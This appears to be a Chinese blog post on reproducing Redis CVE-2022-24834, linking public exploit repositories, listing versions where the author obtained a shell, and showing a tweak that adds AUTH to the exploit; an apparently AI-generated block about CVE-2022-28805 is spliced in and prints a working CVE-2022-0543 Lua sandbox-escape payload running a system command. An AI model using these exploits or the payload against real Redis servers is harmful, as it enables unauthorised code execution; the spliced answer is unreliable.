Redis CVE-2022-24834 复现

(CVE-2022-24834) 在 Redis 中执行的特制 Lua 脚本可能会触发 cjson 和 cmsgpack 库中的堆溢出,并导致堆损坏和潜在的远程代码执行。从 2.6 开始,所有支持 Lua 脚本的 Redis 版本都存在该问题,并且仅影响经过认证和授权的用户。

GitHub - convisolabs/CVE-2022-24834Contribute to convisolabs/CVE-2022-24834 development by creating an account on GitHub.https://github.com/convisolabs/CVE-2022-24834

测试过的版本和环境

Redis 7.0.11 on Ubuntu 20.04 (via own compilation) - SUCCESS

Redis 7.0.11 on Ubuntu 20.04 (via apt using Redis official repository) - SUCCESS

Redis 7.0.11 on Ubuntu 20.04 (via docker image redis:7.0.11) - SUCCESS

Redis 6.2.12 on Ubuntu 20.04 (via docker image redis:6.2.12) - SUCCESS

Redis 7.0.11 on Debian 11 (via apt using Redis official repository) - SUCCESS

自己亲自在官方“redis:7.0.11”容器镜像上测试成功,能直接拿到shell。

需要 pwn 库支持:

pip install -i https://pypi.tuna.tsinghua.edu.cn/simple pwn

GitHub - convisolabs/CVE-2022-24834 中的代码没有支持密码登录redis,如果需要密码方式,修改如下:

    def cmd(self, argv):
        self.conn = pwn.remote(self.host, self.port)
        self.conn.send(self.prepare(["AUTH", "user1", "123456"]))
        self.conn.send(self.prepare(argv))
        return self.recv()

另外一个低版本的RCE

GitHub - Ridter/redis-rce: Redis 4.x/5.x RCERedis 4.x/5.x RCE. Contribute to Ridter/redis-rce development by creating an account on GitHub.https://github.com/Ridter/redis-rce

GitHub - n0b0dyCN/redis-rogue-server: Redis(<=5.0.5) RCERedis(<=5.0.5) RCE. Contribute to n0b0dyCN/redis-rogue-server development by creating an account on GitHub.https://github.com/n0b0dyCN/redis-rogue-server

经过检索,目前没有找到与 CVE-2022-28805 相关的官方记录或公开漏洞信息。可能存在以下几种情况: 1. **漏洞编号错误**:用户可能输入了错误的漏洞编号,实际需要复现的可能是其他已知漏洞。 2. **未公开漏洞**:该漏洞可能尚未被公开披露,或者属于私有漏洞,无法获取详细信息。 3. **拼写错误**:用户可能在输入过程中出现了拼写错误,导致无法匹配到正确的漏洞编号。 以下是针对漏洞复现的一般步骤和注意事项,假设用户希望了解的是类似 CVE-2022-24112(APISIX 远程代码执行漏洞)或 CVE-2022-0543(Redis 沙盒逃逸漏洞)的复现过程: ### 漏洞复现的基本流程 #### 1. 确认目标环境 确保搭建的测试环境与漏洞影响的版本一致。例如,对于 APISIX 漏洞 CVE-2022-24112,受影响的版本为 Apache APISIX 2.12 及更早版本[^1]。需下载对应版本并正确配置相关插件(如 `batch-requests` 插件)。 #### 2. 配置漏洞触发条件 根据漏洞描述,配置特定的环境参数或插件。例如,在 CVE-2022-24112 中,攻击者通过构造恶意 HTTP 请求利用 `batch-requests` 插件实现远程代码执行。测试时需要启用此插件并允许其处理批量请求[^1]。 #### 3. 构造 Payload 根据漏洞原理构造有效的 Payload。例如,在 Redis 沙盒逃逸漏洞 CVE-2022-0543 中,Payload 利用了 Lua 脚本加载外部库的功能,绕过 Redis 的沙盒限制[^2]。示例如下: ```lua eval 'local io_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_io"); local io = io_l(); local f = io.popen("uname -a", "r"); local res = f:read("*a"); f:close(); return res' 0 ``` #### 4. 测试 Payload 将构造好的 Payload 发送到目标服务,并观察返回结果。例如,使用 `curl` 或 Postman 工具发送 HTTP 请求,或者直接连接 Redis 服务执行 Lua 脚本。 #### 5. 分析漏洞成因 结合官方修复方案或漏洞分析报告,理解漏洞的根本原因。例如,CVE-2022-24112 的修复方式是限制 `batch-requests` 插件对系统命令的访问权限[^1]。 ### 注意事项 - **合法合规**:仅在授权的环境中进行漏洞测试,避免触犯法律。 - **安全隔离**:确保测试环境与生产环境隔离,防止意外后果。 - **更新补丁**:及时应用官方发布的安全补丁,避免被攻击者利用。 ###
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值